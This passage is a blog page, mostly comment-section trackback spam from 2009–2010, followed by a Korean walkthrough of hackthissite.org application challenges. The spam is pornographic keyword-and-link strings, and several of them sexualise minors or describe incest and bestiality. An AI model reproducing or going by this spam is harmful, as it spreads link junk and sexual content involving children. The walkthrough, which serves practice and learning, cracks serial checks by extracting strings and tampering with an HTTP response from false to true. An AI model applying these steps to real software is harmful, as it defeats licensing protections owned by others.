    springfield-breast-surgery <a href="http://www.world66.com/member/springfield_breast">springfield-breast-surgery</a> vintage-fly-rods-19501970 <a href="http://www.world66.com/member/vintage_fly_rods_1">vintage-fly-rods-19501970</a>

  34. gail-ogrady-nude

    Tracked from gail-ogrady-nude 2009/04/23 16:48 Delete

    latino-art-calendar-imprint <a href="http://www.world66.com/member/latino_art_calenda">latino-art-calendar-imprint</a> hyman-virginity <a href="http://www.world66.com/member/hyman_virginity_48">hyman-virginity</a>

  35. nightie-chicks

    Tracked from nightie-chicks 2009/04/23 17:18 Delete

    adriana-lima-sex-tape <a href="http://www.world66.com/member/adriana_lima_sex_t">adriana-lima-sex-tape</a> donna-karan-toners-bodystocking <a href="http://www.world66.com/member/donna_karan_toners">donna-karan-toners-bodystocking</a>

  36. latex-female-mask

    Tracked from latex-female-mask 2009/04/23 17:42 Delete

    color-climax-70s-porn <a href="http://www.world66.com/member/color_climax_70s_p">color-climax-70s-porn</a> alfriston-church-sussex-england <a href="http://www.world66.com/member/alfriston_church_s">alfriston-church-sussex-england</a>

  37. naruto-shippudden

    Tracked from naruto-shippudden 2009/04/23 18:23 Delete

    enlarged-clits <a href="http://www.world66.com/member/enlarged_clits_78">enlarged-clits</a> amanda-tapping-nude <a href="http://www.world66.com/member/amanda_tapping_nud">amanda-tapping-nude</a>

  38. teens put in diapers

    Tracked from teens put in diapers 2009/04/23 19:16 Delete

    jjjs thumbnail pics <a href="http://xymaz7932008.blogspot.com/">jjjs thumbnail pics</a>

  39. anthea-turner-stockings

    Tracked from anthea-turner-stockings 2009/04/23 20:12 Delete

    ludivine-sagnier-nude <a href="http://www.maclife.com/user/65204/">ludivine-sagnier-nude</a> rope-sheave-groove-gauge <a href="http://www.maclife.com/user/64328/">rope-sheave-groove-gauge</a>

  40. queening-domination

    Tracked from queening-domination 2009/04/23 20:37 Delete

    celeb-inpose <a href="http://www.maclife.com/user/65193/">celeb-inpose</a> erotic-hypnosis-stories <a href="http://www.maclife.com/user/65403/">erotic-hypnosis-stories</a>

  41. interacial-dating-sites

    Tracked from interacial-dating-sites 2009/04/23 21:00 Delete

    nadia-bjorlin-lingerie <a href="http://www.maclife.com/user/64840/">nadia-bjorlin-lingerie</a> ceramic-baby-booties <a href="http://www.maclife.com/user/64657/">ceramic-baby-booties</a>

  42. clit-licking-technics

    Tracked from clit-licking-technics 2009/04/23 21:18 Delete

    adult-hypnosis-video <a href="http://www.maclife.com/user/64675/">adult-hypnosis-video</a> college-girls-exposed <a href="http://www.maclife.com/user/65416/">college-girls-exposed</a>

  43. free adult hentai games

    Tracked from free adult hentai games 2009/04/27 17:30 Delete

    vanessa hudgens nude photos <a href="%url">vanessa hudgens nude photos</a>

  44. free adult porn pics

    Tracked from free adult porn pics 2009/04/27 17:54 Delete

    skinny girls <a href="%url">skinny girls</a>

  45. free adult sex videos

    Tracked from free adult sex videos 2009/04/27 18:15 Delete

    free sex web cam <a href="%url">free sex web cam</a>

  46. 3pic nude

    Tracked from 3pic nude 2009/04/27 20:47 Delete

    disney's jasmine porn <a href="http://libakijauasouahi9682008.blogspot.com/">disney's jasmine porn</a>

  47. 1215 porn

    Tracked from 1215 porn 2009/04/27 21:49 Delete

    shemales and girls <a href="http://ynesemydyvisok4822008.blogspot.com/">shemales and girls</a>

  48. 3pic teens

    Tracked from 3pic teens 2009/04/27 23:42 Delete

    skinny dipping girls <a href="http://cabasiki6982008.blogspot.com/">skinny dipping girls</a>

  49. 1929 girls high yearbook boston massachusetts

    Tracked from 1929 girls high yearbook boston massachusetts 2009/04/28 00:12 Delete

    casting couch teens mary ann <a href="http://agu3682008.blogspot.com/">casting couch teens mary ann</a>

  50. 4 girls finger painting

    Tracked from 4 girls finger painting 2009/04/28 00:40 Delete

    russian nude personals <a href="http://udunytutylawo4602008.blogspot.com/">russian nude personals</a>

  51. 2 girls 1 finger video

    Tracked from 2 girls 1 finger video 2009/04/28 01:00 Delete

    pimp my black teen aliana love <a href="http://cyfi2412008.blogspot.com/">pimp my black teen aliana love</a>

  52. 2007 mp4 porn rss

    Tracked from 2007 mp4 porn rss 2009/04/28 01:24 Delete

    adult braces aurora <a href="http://ovarenecyvawejiz9782008.blogspot.com/">adult braces aurora</a>

  53. 2flash adult games

    Tracked from 2flash adult games 2009/04/28 01:50 Delete

    teen girls peeing <a href="http://opekyquqygyh2082008.blogspot.com/">teen girls peeing</a>

  54. 32d busty girls

    Tracked from 32d busty girls 2009/04/28 02:13 Delete

    tasteful nude <a href="http://uwuriheputojekeb2522008.blogspot.com/">tasteful nude</a>

  55. 3d girls

    Tracked from 3d girls 2009/04/28 03:10 Delete

    ali larter sex scene <a href="http://ralyveduheqyga3302008.blogspot.com/">ali larter sex scene</a>

  56. dartmoor-webcam

    Tracked from dartmoor-webcam 2009/04/28 13:37 Delete

    bear-grylls-nude <a href="http://www.world66.com/member/jysebo273539">bear-grylls-nude</a> escort-karina-knight <a href="http://www.world66.com/member/cunymu63211">escort-karina-knight</a>

  57. milf-from-dupage

    Tracked from milf-from-dupage 2009/04/28 14:03 Delete

    kim-kashardian-nude <a href="http://www.world66.com/member/ezoci409340">kim-kashardian-nude</a> jennifer-tilley-nude <a href="http://www.world66.com/member/gyuelep193641">jennifer-tilley-nude</a>

  58. digimon-sprites

    Tracked from digimon-sprites 2009/04/28 14:19 Delete

    tripping-the-rift-hentai <a href="http://www.world66.com/member/sebykan646714">tripping-the-rift-hentai</a> greed-yaoi-kimbley <a href="http://www.world66.com/member/hedido729055">greed-yaoi-kimbley</a>

  59. rbs-insurance-amateurs

    Tracked from rbs-insurance-amateurs 2009/04/28 14:43 Delete

    smts-model <a href="http://www.world66.com/member/ruduji155614">smts-model</a> free-adult-xxx <a href="http://www.world66.com/member/ufiqovaq723561">free-adult-xxx</a>

  60. footsie-babes-adriana-malkova

    Tracked from footsie-babes-adriana-malkova 2009/04/28 15:08 Delete

    femdom-bladder-inflation-kit <a href="http://www.world66.com/member/pavomad237952">femdom-bladder-inflation-kit</a> ashley-gellar-nude <a href="http://www.world66.com/member/pyweq336683">ashley-gellar-nude</a>

  61. scoolgirls gangbanged pictures

    Tracked from scoolgirls gangbanged pictures 2009/04/28 15:31 Delete

    Catherine Keener Nude81 <a href="http://iheboqosep9072009.blogspot.com/">Catherine Keener Nude81</a>

  62. emmanuelle-vaugier-sex-scene

    Tracked from emmanuelle-vaugier-sex-scene 2009/04/28 15:53 Delete

    Lesbian Hetnai47 <a href="http://www.maclife.com/user/70345/">Lesbian Hetnai47</a> fruta-vida-international-scams <a href="http://www.maclife.com/user/69966/">fruta-vida-international-scams</a>

  63. gay-porn-pics

    Tracked from gay-porn-pics 2009/04/28 16:18 Delete

    jacqueline-samuda-nude <a href="http://www.maclife.com/user/67182/">jacqueline-samuda-nude</a> huntington-beach-cheek-implants <a href="http://www.maclife.com/user/66933/">huntington-beach-cheek-implants</a>

  64. legolas-naked

    Tracked from legolas-naked 2009/04/28 17:03 Delete

    adult-yahoo-groups <a href="http://www.maclife.com/user/68515/">adult-yahoo-groups</a> see-through-bikinis <a href="http://www.maclife.com/user/70274/">see-through-bikinis</a>

  65. celbrity-sex-tapes

    Tracked from celbrity-sex-tapes 2009/04/28 18:45 Delete

    Virgin Mary Sightings69 <a href="http://www.maclife.com/user/71675/">Virgin Mary Sightings69</a> Anderson Cooper Gay66 <a href="http://www.maclife.com/user/70969/">Anderson Cooper Gay66</a>

  66. Porn Trilers63

    Tracked from Porn Trilers63 2009/04/28 22:33 Delete

    Sewin Lingerie Tags96 <a href="http://afebofek9172009.blogspot.com/">Sewin Lingerie Tags96</a>

  67. Kaiya Eve Lace Ruffles48

    Tracked from Kaiya Eve Lace Ruffles48 2009/04/28 23:01 Delete

    Rene Bond The Mermaid24 <a href="http://www.maclife.com/user/73180/">Rene Bond The Mermaid24</a> Colios Babes1 <a href="http://www.maclife.com/user/73181/">Colios Babes1</a>

  68. Tracy Mcgrady Bio30

    Tracked from Tracy Mcgrady Bio30 2009/04/28 23:34 Delete

    Adele Silva Nude91 <a href="http://www.maclife.com/user/73480/">Adele Silva Nude91</a> Amputee Women In Porn75 <a href="http://www.maclife.com/user/73481/">Amputee Women In Porn75</a>

  69. Bif Naked Wedding Torrent7

    Tracked from Bif Naked Wedding Torrent7 2009/04/29 00:32 Delete

    Blowing Cave Cushman Arkansas88 <a href="http://www.maclife.com/user/73835/">Blowing Cave Cushman Arkansas88</a> Washington Dc Breast Lif47 <a href="http://www.maclife.com/user/73836/">Washington Dc Breast Lif47</a>

  70. Lenka Nipples88

    Tracked from Lenka Nipples88 2009/04/29 01:38 Delete

    Manequin Model Agency66 <a href="http://www.maclife.com/user/74267/">Manequin Model Agency66</a> Amkingdom Mature Leslie40 <a href="http://www.maclife.com/user/74268/">Amkingdom Mature Leslie40</a>

  71. Big Titted Miosotis4

    Tracked from Big Titted Miosotis4 2009/04/29 02:03 Delete

    Airtanker Model57 <a href="http://www.maclife.com/user/74640/">Airtanker Model57</a> Pemco Weather Stripping41 <a href="http://www.maclife.com/user/74642/">Pemco Weather Stripping41</a>

  72. egufebuuad

    Tracked from egufebuuad 2009/05/04 02:00 Delete

    icysufy <a href="http://ygolycype5412009.blogspot.com/">icysufy</a>

  73. vecyjou

    Tracked from vecyjou 2009/05/04 02:16 Delete

    oliny m ige kep <a href="http://efizuk7622009.blogspot.com/">oliny m ige kep</a>

  74. sexual-pedators-in-michagn

    Tracked from sexual-pedators-in-michagn 2009/05/04 03:32 Delete

    rancho-solano-private-shools <a href="http://www.world66.com/member/izoxa2328">rancho-solano-private-shools</a> chloro-babes <a href="http://www.world66.com/member/qalyuy8695">chloro-babes</a>

  75. vintage-horse-harness

    Tracked from vintage-horse-harness 2009/05/04 03:49 Delete

    azalea-care-and-feeding <a href="http://www.world66.com/member/icadas2929">azalea-care-and-feeding</a> decorating-a-teens-bedroom <a href="http://www.world66.com/member/jesyg2809">decorating-a-teens-bedroom</a>

  76. vampire-fetish-custom-fangs

    Tracked from vampire-fetish-custom-fangs 2009/05/04 04:38 Delete

    naruto-forehead-protectors <a href="http://www.world66.com/member/yrugycav9667">naruto-forehead-protectors</a> gojyo-hakkai-yaoi-proof <a href="http://www.world66.com/member/yxarebu3819">gojyo-hakkai-yaoi-proof</a>

  77. surgical-tubing-rubber

    Tracked from surgical-tubing-rubber 2009/05/04 04:55 Delete

    riley-bookcase <a href="http://www.world66.com/member/nojujuxe2657">riley-bookcase</a> rain-mikamura-hentai <a href="http://www.world66.com/member/ewaueqa7017">rain-mikamura-hentai</a>

  78. jake-plummer-naked

    Tracked from jake-plummer-naked 2009/05/04 05:30 Delete

    consensual-spankings <a href="http://www.world66.com/member/ujuralid1743">consensual-spankings</a> dr-gay-tualatin <a href="http://www.world66.com/member/ywala4815">dr-gay-tualatin</a>

  79. adult video universe

    Tracked from adult video universe 2009/05/05 14:59 Delete

    ebony movies xxx <a href="http://ycakagyjiz4252009.blogspot.com/">ebony movies xxx</a>

  80. carrie underwood nude

    Tracked from carrie underwood nude 2009/05/05 16:00 Delete

    young russian girls <a href="http://uelydo5572009.blogspot.com/">young russian girls</a>

  81. teen hitch hikers

    Tracked from teen hitch hikers 2009/05/05 16:02 Delete

    american idol nude pictures <a href="http://auinicyde2352009.blogspot.com/">american idol nude pictures</a>

  82. sex-during-pregnancy

    Tracked from sex-during-pregnancy 2009/05/05 16:29 Delete

    porn-movie-clips <a href="http://linaromaynude45.forumotion.net/your-first-forum-f1/porn-movie-clips-t4.htm">porn-movie-clips</a> boy-gril-sex <a href="http://escortreveiws33.forumotion.net/your-first-forum-f1/boy-gril-sex-t4.htm">boy-gril-sex</a>

  83. older-women-nude-free

    Tracked from older-women-nude-free 2009/05/05 16:59 Delete

    webcam-chat-rooms <a href="http://estellawarrennude68.forumotion.net/your-first-forum-f1/webcam-chat-rooms-t9.htm">webcam-chat-rooms</a> napster-of-porn <a href="http://granny20sex16.forumotion.net/your-first-forum-f1/napster-of-porn-t9.htm">napster-of...

  84. mom-and-son-sex

    Tracked from mom-and-son-sex 2009/05/05 17:56 Delete

    amateur-sex-photos <a href="http://adultanimie55.forumotion.net/your-first-forum-f1/amateur-sex-photos-t28.htm">amateur-sex-photos</a> mom-daughter-sex <a href="http://homemadeametures58.forumotion.net/your-first-forum-f1/mom-daughter-sex-t28.htm">mom-...

  85. pamela-anderson-sex-tape

    Tracked from pamela-anderson-sex-tape 2009/05/05 17:58 Delete

    free-sample-porn <a href="http://toelesspantyhose32.forumotion.net/your-first-forum-f1/free-sample-porn-t22.htm">free-sample-porn</a> free-porn-images <a href="http://lardass78.forumotion.net/your-first-forum-f1/free-porn-images-t22.htm">free-porn-imag...

  86. free-horse-porn

    Tracked from free-horse-porn 2009/05/05 18:24 Delete

    adult-games-hentai <a href="http://gaybearvidz51.forumotion.net/your-first-forum-f1/adult-games-hentai-t37.htm">adult-games-hentai</a> joebobs-teen-forum <a href="http://quebecoisenue90.forumotion.net/your-first-forum-f1/joebobs-teen-forum-t37.htm">joe...

  87. dog fucks girl

    Tracked from dog fucks girl 2009/05/05 18:58 Delete

    reality porn sites <a href="http://xisyw2692009.blogspot.com/">reality porn sites</a>

  88. carrie underwood nude

    Tracked from carrie underwood nude 2009/05/05 19:48 Delete

    free forced sex stories <a href="http://ojaw9212009.blogspot.com/">free forced sex stories</a>

  89. two-girls-touching

    Tracked from two-girls-touching 2009/05/05 22:14 Delete

    paula-abdul-nude <a href="http://www.world66.com/member/lojyzeqy7437">paula-abdul-nude</a> g-string-bikinis <a href="http://www.world66.com/member/wahal8922">g-string-bikinis</a>

  90. free anal sex galleries

    Tracked from free anal sex galleries 2009/05/06 14:29 Delete

    gay video clips <a href="http://firabaco1082009.blogspot.com/">gay video clips</a>

  91. hardcore sex stories

    Tracked from hardcore sex stories 2009/05/06 15:00 Delete

    cum in my ass <a href="http://dicasiwopyface4592009.blogspot.com/">cum in my ass</a>

  92. teacher-fucking-student

    Tracked from teacher-fucking-student 2009/05/06 15:19 Delete

    young-girls-naked <a href="http://www.world66.com/member/rowowy2028">young-girls-naked</a> micro-bikini-contest <a href="http://www.world66.com/member/mymuuire9999">micro-bikini-contest</a>

  93. marisa-miller-nude

    Tracked from marisa-miller-nude 2009/05/06 17:08 Delete

    free-hairy-girls <a href="http://www.world66.com/member/auuku2938">free-hairy-girls</a> xxx-search-engine <a href="http://www.world66.com/member/alezaz9464">xxx-search-engine</a>

  94. monica-bellucci-nude

    Tracked from monica-bellucci-nude 2009/05/06 17:31 Delete

    joebobs-teen-forum <a href="http://www.world66.com/member/ocyletoc1745">joebobs-teen-forum</a> adult-sailor-moon <a href="http://www.world66.com/member/ojipu3702">adult-sailor-moon</a>

  95. free-interracial-porn

    Tracked from free-interracial-porn 2009/05/06 17:51 Delete

    young-girls-horse-bedding <a href="http://www.world66.com/member/tauojav9512">young-girls-horse-bedding</a> amateur-sex-photos <a href="http://www.world66.com/member/johodiw4088">amateur-sex-photos</a>

  96. oral-sex-video

    Tracked from oral-sex-video 2009/05/06 18:16 Delete

    mother-and-son-porn <a href="http://www.world66.com/member/zisawag9754">mother-and-son-porn</a> amateur-glamour-model <a href="http://www.world66.com/member/ecilopil159">amateur-glamour-model</a>

  97. disney cartoon porn

    Tracked from disney cartoon porn 2009/05/06 18:45 Delete

    teen lesbians have sex <a href="http://uuluw3132009.blogspot.com/">teen lesbians have sex</a>

  98. Seductive Bikini Model6

    Tracked from Seductive Bikini Model6 2009/05/06 19:03 Delete

    Olivia Munn Nude60 <a href="http://www.maclife.com/user/Olivia_Munn_Nude60/">Olivia Munn Nude60</a> Skimpy G String Bikinis37 <a href="http://www.maclife.com/user/Skimpy_G_String_Bikinis37/">Skimpy G String Bikinis37</a>

  99. Your Porn Tube85

    Tracked from Your Porn Tube85 2009/05/06 19:30 Delete

    Hawaii Exotic Girls40 <a href="http://www.maclife.com/user/Hawaii_Exotic_Girls40/">Hawaii Exotic Girls40</a> Naughty School Girls75 <a href="http://www.maclife.com/user/Naughty_School_Girls75/">Naughty School Girls75</a>

  100. ladyboy lusi

    Tracked from ladyboy lusi 2009/05/07 16:26 Delete

    jade goody upskirt <a href="http://gip4892009.blogspot.com/">jade goody upskirt</a>

  101. cummings-onan

    Tracked from cummings-onan 2009/05/07 17:05 Delete

    girls-theme-bedroom <a href="http://www.world66.com/member/afofoc254">girls-theme-bedroom</a> leesburg-implant-dentistry <a href="http://www.world66.com/member/monibo3876">leesburg-implant-dentistry</a>

  102. mlf-breast-cleavages

    Tracked from mlf-breast-cleavages 2009/05/07 17:34 Delete

    nippleslips-and-upskirts <a href="http://www.world66.com/member/tomepine901">nippleslips-and-upskirts</a> all-free-gay <a href="http://www.world66.com/member/xoqaxu9867">all-free-gay</a>

  103. gay-underwear-sightings

    Tracked from gay-underwear-sightings 2009/05/07 19:13 Delete

    nigella-lawson-nude <a href="http://www.world66.com/member/pumahapi23">nigella-lawson-nude</a> valerie-plame-nude <a href="http://www.world66.com/member/izavakad7397">valerie-plame-nude</a>

  104. latex-female-masks

    Tracked from latex-female-masks 2009/05/07 19:59 Delete

    sheer-nylons <a href="http://www.world66.com/member/ralidaly9594">sheer-nylons</a> dangerous-dongs-cumshot-movie <a href="http://www.world66.com/member/auowokav677">dangerous-dongs-cumshot-movie</a>

  105. itching-oak-mite

    Tracked from itching-oak-mite 2009/05/07 20:28 Delete

    riedl-burden-model-evolution <a href="http://www.world66.com/member/uxenowed9954">riedl-burden-model-evolution</a> tawana-chicago-escort <a href="http://www.world66.com/member/buhapixy727">tawana-chicago-escort</a>

  106. hawaii watersports jetski

    Tracked from hawaii watersports jetski 2009/05/07 21:53 Delete

    undergear hunks <a href="http://qipojozaxekogahe3722009.blogspot.com/">undergear hunks</a>

  107. Teen Speedos Gallery84

    Tracked from Teen Speedos Gallery84 2009/05/08 00:33 Delete

    Parading Nudist96 <a href="http://www.maclife.com/user/Parading_Nudist96/">Parading Nudist96</a> Naked Twinkle Khanna36 <a href="http://www.maclife.com/user/Naked_Twinkle_Khanna36/">Naked Twinkle Khanna36</a>

  108. Shemale Drawings75

    Tracked from Shemale Drawings75 2009/05/08 00:57 Delete

    Sewing Nuns Habit81 <a href="http://www.maclife.com/user/Sewing_Nuns_Habit81/">Sewing Nuns Habit81</a> Kevin Spacey Gay35 <a href="http://www.maclife.com/user/Kevin_Spacey_Gay35/">Kevin Spacey Gay35</a>

  109. Once Fired 9mm Brass21

    Tracked from Once Fired 9mm Brass21 2009/05/08 01:49 Delete

    Japanese Sex Videos40 <a href="http://www.maclife.com/user/Japanese_Sex_Videos40/">Japanese Sex Videos40</a> Adult Free Porn53 <a href="http://www.maclife.com/user/Adult_Free_Porn53/">Adult Free Porn53</a>

  110. Lolia Bbs24

    Tracked from Lolia Bbs24 2009/05/08 02:13 Delete

    Johnny Castle Pornstar38 <a href="http://www.maclife.com/user/Johnny_Castle_Pornstar38/">Johnny Castle Pornstar38</a> Gay Chub32 <a href="http://www.maclife.com/user/Gay_Chub32/">Gay Chub32</a>

  111. see thru bikini

    Tracked from see thru bikini 2009/05/09 06:55 Delete

    panda porn movies <a href="http://arig8922009.blogspot.com/">panda porn movies</a>

  112. home-porn-movies

    Tracked from home-porn-movies 2009/05/09 07:17 Delete

    sex-pro-adventures <a href="http://www.world66.com/member/eqanemyf8465">sex-pro-adventures</a> girls-touching-girls <a href="http://www.world66.com/member/vopyj3577">girls-touching-girls</a>

  113. teen-clothing-stores

    Tracked from teen-clothing-stores 2009/05/09 07:42 Delete

    tight-teen-pussy <a href="http://www.world66.com/member/ejuuegi1577">tight-teen-pussy</a> free-gay-pictures-too <a href="http://www.world66.com/member/rikegon4993">free-gay-pictures-too</a>

  114. movie-monster-porn

    Tracked from movie-monster-porn 2009/05/09 08:03 Delete

    denise-milani-nude <a href="http://www.world66.com/member/uyhazutu3041">denise-milani-nude</a> paris-sex-tape <a href="http://www.world66.com/member/revum861">paris-sex-tape</a>

  115. dad-and-daughter-sex

    Tracked from dad-and-daughter-sex 2009/05/09 08:29 Delete

    male-porn-stars <a href="http://www.world66.com/member/irysez5593">male-porn-stars</a> young-girls-fucking <a href="http://www.world66.com/member/kesiz5648">young-girls-fucking</a>

  116. erotic-nude-model

    Tracked from erotic-nude-model 2009/05/09 08:50 Delete

    i-seek-girls <a href="http://www.world66.com/member/waruzypo8038">i-seek-girls</a> jasmin-sex-cams <a href="http://www.world66.com/member/itecitu6407">jasmin-sex-cams</a>

  117. big-breasted-miosotis

    Tracked from big-breasted-miosotis 2009/07/03 20:05 Delete

    elko-brothel <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1420271">elko-brothel</a> cement-mixer-truck-model <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1420366">cement-mixer-truck-model</a>

  118. blue-teen-mania

    Tracked from blue-teen-mania 2009/07/04 06:54 Delete

    <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1422546">jizz-on-glasses-rachel</a> jizz-on-glasses-rachel <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1423864">roswell-double-dipper-fanfiction</a> roswell-double-dipper-fanfiction

  119. free-hardcore-sex-stories

    Tracked from free-hardcore-sex-stories 2009/07/04 10:10 Delete

    <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1425200">escort-9500i</a> escort-9500i <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1426037">majorette-uniforms</a> majorette-uniforms

  120. daily-olders

    Tracked from daily-olders 2009/07/04 12:41 Delete

    <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1421604">donna-gamache-california</a> donna-gamache-california <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1422785">exanti-rub-my-boob</a> exanti-rub-my-boob

  121. sexy-jenna-von-oy

    Tracked from sexy-jenna-von-oy 2009/07/04 15:31 Delete

    <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1421852">college-girls-wild</a> college-girls-wild <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1425597">ballet-cfnm</a> ballet-cfnm

  122. young-teen-pics

    Tracked from young-teen-pics 2009/07/04 18:44 Delete

    <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1425391">adult-riddler-costumes</a> adult-riddler-costumes <a href="http://www.jguru.com/guru/viewbio.jsp?EID=1424227">dick-cepek-pulling-tires</a> dick-cepek-pulling-tires

  123. trampling fem dom

    Tracked from trampling fem dom 2009/07/07 23:17 Delete

    nude african women <a href="http://ricardocapone.blogspot.com/">nude african women</a>

  124. jenna lewis sex tape

    Tracked from jenna lewis sex tape 2009/07/08 06:01 Delete

    white bumps on penis <a href="http://east-side-blog.blogspot.com/">white bumps on penis</a>

  125. adult diaper pail

    Tracked from adult diaper pail 2009/07/08 11:57 Delete

    jason momoa nude <a href="http://cl36amg.blogspot.com/">jason momoa nude</a>

  126. intimate boudoir photography

    Tracked from intimate boudoir photography 2009/07/24 15:25 Delete

    telephone triage nurses <a href="http://sexfacts31.5gighost.com/telephone-triage-nurses.html">telephone triage nurses</a> teen selfpic <a href="http://sexfilms19.5gighost.com/teen-selfpic.html">teen selfpic</a>

  127. big booty black girls

    Tracked from big booty black girls 2009/07/24 19:25 Delete

    adult gag gift <a href="http://sexetc90.5gighost.com/adult-gag-gift.html">adult gag gift</a> brittanys bod pussy <a href="http://sexfacts31.5gighost.com/brittanys-bod-pussy.html">brittanys bod pussy</a>

  128. girls sucking dick

    Tracked from girls sucking dick 2009/07/24 21:54 Delete

    garcelle beauvais nude <a href="http://sexetc90.5gighost.com/garcelle-beauvais-nude.html">garcelle beauvais nude</a> mlf breast cleavages <a href="http://sexfilms19.5gighost.com/mlf-breast-cleavages.html">mlf breast cleavages</a>

  129. daddys little girl porn

    Tracked from daddys little girl porn 2009/07/25 02:54 Delete

    elena anaya nude <a href="http://sexfacts31.5gighost.com/elena-anaya-nude.html">elena anaya nude</a> amateur homemade sex <a href="http://sexfilms19.5gighost.com/amateur-homemade-sex.html">amateur homemade sex</a>

  130. gay jackoff videos

    Tracked from gay jackoff videos 2009/07/25 05:26 Delete

    kung pow pussy <a href="http://sexoasis74.5gighost.com/kung-pow-pussy.html">kung pow pussy</a> hedonism 2 nudist gallery <a href="http://sexmoviesfree74.5gighost.com/hedonism-2-nudist-gallery.html">hedonism 2 nudist gallery</a>

  131. jamie eason nude

    Tracked from jamie eason nude 2009/07/25 07:53 Delete

    amateur home sex video <a href="http://sexmpegs7.5gighost.com/amateur-home-sex-video.html">amateur home sex video</a> home made penis extender <a href="http://sexmpegs7.5gighost.com/home-made-penis-extender.html">home made penis extender</a>

  132. amature gynecology

    Tracked from amature gynecology 2009/07/25 10:17 Delete

    meredith baxter nude <a href="http://sexmoviesfree74.5gighost.com/meredith-baxter-nude.html">meredith baxter nude</a> salma hayek nude <a href="http://sexmpegs7.5gighost.com/salma-hayek-nude.html">salma hayek nude</a>

  133. solaris tanning beds

    Tracked from solaris tanning beds 2009/07/25 12:40 Delete

    free gay porno <a href="http://sexoasis74.5gighost.com/free-gay-porno.html">free gay porno</a> tantra ashland oregon <a href="http://sexocean78.5gighost.com/tantra-ashland-oregon.html">tantra ashland oregon</a>

  134. importer of orthopeadic implants

    Tracked from importer of orthopeadic implants 2009/07/25 15:03 Delete

    lauren graham nude pics <a href="http://sexmoviesfree74.5gighost.com/lauren-graham-nude-pics.html">lauren graham nude pics</a> easy homemade sex toys <a href="http://sexmummy22.5gighost.com/easy-homemade-sex-toys.html">easy homemade sex toys</a>

  135. wanking willy

    Tracked from wanking willy 2009/07/28 00:04 Delete

    popping girls cherries <a href="http://sexocean78.5gighost.com/popping-girls-cherries.html">popping girls cherries</a>

  136. zeps guide

    Tracked from zeps guide 2009/07/29 15:24 Delete

    tawas security experts <a href="http://vatzefak.wordpress.com/">tawas security experts</a>

  137. zero turn lawn mowers

    Tracked from zero turn lawn mowers 2009/07/29 16:13 Delete

    tawas voip phone systems <a href="http://maifunemae.wordpress.com/">tawas voip phone systems</a>

  138. zero turn mowers

    Tracked from zero turn mowers 2009/07/29 16:14 Delete

    tawas business analysis <a href="http://gomyloko.wordpress.com/">tawas business analysis</a>

  139. Margot Kidder Nude

    Tracked from Margot Kidder Nude 2009/08/18 01:49 Delete

    Margot Kidder Nude <a href="http://www.kaboodle.com/margot_kidder_nude_52">Margot Kidder Nude</a> Photos and Video. jgr1uig98d

  140. adel nubiles

    Tracked from adel nubiles 2009/08/27 16:35 Delete

    tribadism clips <a href="http://www.kaboodle.com/tribadism_clips_71">tribadism clips </a>

  141. kate beckinsal

    Tracked from kate beckinsal 2009/10/01 05:05 Delete

    alaskan ulu <a href="http://alaskan-ulu.gscoiqrqnvq.com/">alaskan ulu</a> porsche 914 ski rack <a href="http://porsche-914-ski-rack.gscoiqrqnvq.com/">porsche 914 ski rack</a>

  142. Redman ??? Malpractice (2001) (320kbps)

    Tracked from Redman ??? Malpractice (2001) (320kbps) 2009/12/15 20:28 Delete

    Redman ??? Malpractice (2001) (320kbps) <a href="http://rspost.blogetery.com/music/redman-malpractice-2001-320kbps.html">Redman ??? Malpractice (2001) (320kbps)</a>

  143. Casino 1274729139

    Tracked from Casino 1274729139 2010/05/25 04:14 Delete

    Casino 1274729139

  144. Casino 1274831142

    Tracked from Casino 1274831142 2010/05/26 10:52 Delete

    Casino 1274831142

  145. Casino 1276714742

    Tracked from Casino 1276714742 2010/06/17 11:50 Delete

    Casino 1276714742

  146. Casino 1276717151

    Tracked from Casino 1276717151 2010/06/17 12:08 Delete

    Casino 1276717151

Leave a comment

hackthissite.org - Application Challenges

hackthissite.org - Application Challenges 문제 풀이

작성자 : Dual5651(dual5651@hotmail.com)
           http://dualpage.muz.ro


========================================
Level1
========================================

사용자 삽입 이미지


















레벨1은 Serial Number를 맞추는 문제군요.

혹시나 하는 마음에 MALCODE ANALYSIS SOFTWARE TOOLS에
들어있는 String Extractor로 열어 보았습니다.

사용자 삽입 이미지


패스워드가 그냥 있네요.
가장 위에것으로 입력하고 인증을 눌러 보았습니다.

사용자 삽입 이미지

========================================
Level2
========================================

사용자 삽입 이미지


level2는 level1과 거의 동일하게 생겼길래 아무거나 입력하고 Auth를 눌러 보았습니다.
그랬더니 Status란이 Sending Request라고 나오더군요.
무언가 서버와 값을 보내고 받는 모양입니다.
이번에도 String Extractor로 한번 열어 보았습니다.

사용자 삽입 이미지

http://hackthissite.org/application/app2/keys123.txt 에 연결하는 거였네요.

사용자 삽입 이미지

시리얼 여기있군요..
첫번째걸로 입력하고 인증 버튼을 눌러 보았습니다.

사용자 삽입 이미지

그냥 패킷스니퍼를 이용해서 값을 구할수도 있습니다.


========================================
Level3
========================================

사용자 삽입 이미지

이번에는
http://hackthissite.org/application/app3/snauthenticate.php?key=
이라는 주소이네요.
key부분에 어떤값을 넣어보면서 웹브라우져를 이용해 요청해 보았는데요.

사용자 삽입 이미지


올바른 키일떄 까지 false를 반환하나 보네요.
그냥 저 키를 WPE라는 프로그램을 이용하여 true로 만들어 보겠습니다.

HTTP/1.1 200 OK..Date: Sat, 14 Apr 2007 18:19:38 GMT..Server: Apache/1.3.37 (Unix) mod_perl/1.29 PHP/5.2.0 with Suhosin-Patch..X-Powered-By: PHP/5.2.0..Transfer-Encoding: chunked..Content-Type: text/html....7  ..false....0....

저기서 false 부분인 213~217 부분을 바꾸어 주면 되겠습니다.

사용자 삽입 이미지

사용자 삽입 이미지


자 이제 인증 버튼을 눌러보겠습니다.

사용자 삽입 이미지

성공했습니다.

========================================
Level4
========================================


사용자 삽입 이미지


버튼이 두개 있고, 마우스를 한쪽에 올려두면, 올려둔 쪽은 Disable되고
반대쪽이 Enable되네요. Olly Debugger의 윈도우즈 저글러라는 플러그인을
이용해서 간단히 풀어 보았습니다.

사용자 삽입 이미지


========================================
Level5
========================================

